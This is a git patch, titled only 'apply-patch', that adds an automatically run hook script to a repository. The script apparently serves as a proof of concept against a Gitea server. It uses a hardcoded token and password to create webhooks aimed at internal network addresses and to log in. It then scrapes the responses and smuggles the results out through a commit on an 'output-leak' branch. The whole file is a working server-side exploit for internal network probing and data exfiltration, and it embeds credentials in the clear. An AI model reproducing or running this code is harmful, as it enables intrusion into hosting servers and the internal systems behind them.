From 136f40d8dde62b7a63bd42ad93d1b49d729dd396 Mon Sep 17 00:00:00 2001 From: w10019user Date: Wed, 25 Nov 2026 01:31:13 +0300 Subject: [PATCH] apply-patch --- hooks/post-index-change | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..2608385 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,28 @@ +#!/bin/sh +GD=$(git rev-parse --absolute-git-dir) +REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||') +OUT=$( { +B='https://gfr.technocs.ru/git/api/v1/repos/w10019user/docs-probe/hooks'; ATK='083b85b8b9a33c8db60fbbd01d1b08dfa742035c' +mk(){ curl -sk -m 10 -X POST -H "Authorization: token $ATK" -H 'Content-Type: application/json' -d "{\"type\":\"gitea\",\"config\":{\"url\":\"$1\",\"content_type\":\"json\"},\"events\":[\"push\"],\"active\":true}" "$B" -o /tmp/hk -w "%{http_code} "; } +echo "---CREATE1---"; mk 'http://172.18.0.1:80/'; head -c 200 /tmp/hk; echo +ID1=$(grep -o '"id":[0-9]*' /tmp/hk | head -1 | cut -d: -f2); echo "ID1=$ID1" +echo "---TEST1---"; curl -sk -m 20 -X POST -H "Authorization: token $ATK" "$B/$ID1/tests" -o /tmp/t1 -w "%{http_code}"; echo +echo "---CREATE2---"; mk 'http://172.18.0.5:5432/'; head -c 200 /tmp/hk; echo +ID2=$(grep -o '"id":[0-9]*' /tmp/hk | head -1 | cut -d: -f2); echo "ID2=$ID2" +echo "---TEST2---"; curl -sk -m 20 -X POST -H "Authorization: token $ATK" "$B/$ID2/tests" -o /tmp/t2 -w "%{http_code}"; echo +sleep 2 +echo "---WEBLOGIN---" +J=/tmp/i19cj; : > $J +curl -sk -m 10 -c $J -o /tmp/lg 'https://gfr.technocs.ru/git/user/login' +CS=$(grep -o 'name="_csrf" value="[^"]*"' /tmp/lg | sed -E 's/.*value="([^"]*)"/\1/' | head -1) +echo "csrf=${CS:0:12}..." +curl -sk -m 10 -b $J -c $J -X POST --data-urlencode 'user_name=w10019user' --data-urlencode 'password=Str0ng!Pass#2026' --data-urlencode "_csrf=$CS" -o /tmp/lp -w "login=%{http_code}"; echo +echo "---HOOKPAGE1---"; curl -sk -m 10 -b $J "https://gfr.technocs.ru/git/w10019user/docs-probe/settings/hooks/$ID1" -o /tmp/hp1 -w "%{http_code}"; echo; grep -o -E '(Response code|response code|Succeeded|Failed)' /tmp/hp1 | head -5; grep -o ']*>[^<]\{0,200\}' /tmp/hp1 | head -3 +echo "---HOOKPAGE2---"; curl -sk -m 10 -b $J "https://gfr.technocs.ru/git/w10019user/docs-probe/settings/hooks/$ID2" -o /tmp/hp2 -w "%{http_code}"; echo; grep -o -E '(Response code|response code|Succeeded|Failed)' /tmp/hp2 | head -5 +echo DONE + +} 2>&1; echo "[rc=$?]") +BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin) +TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree) +CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output") +git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"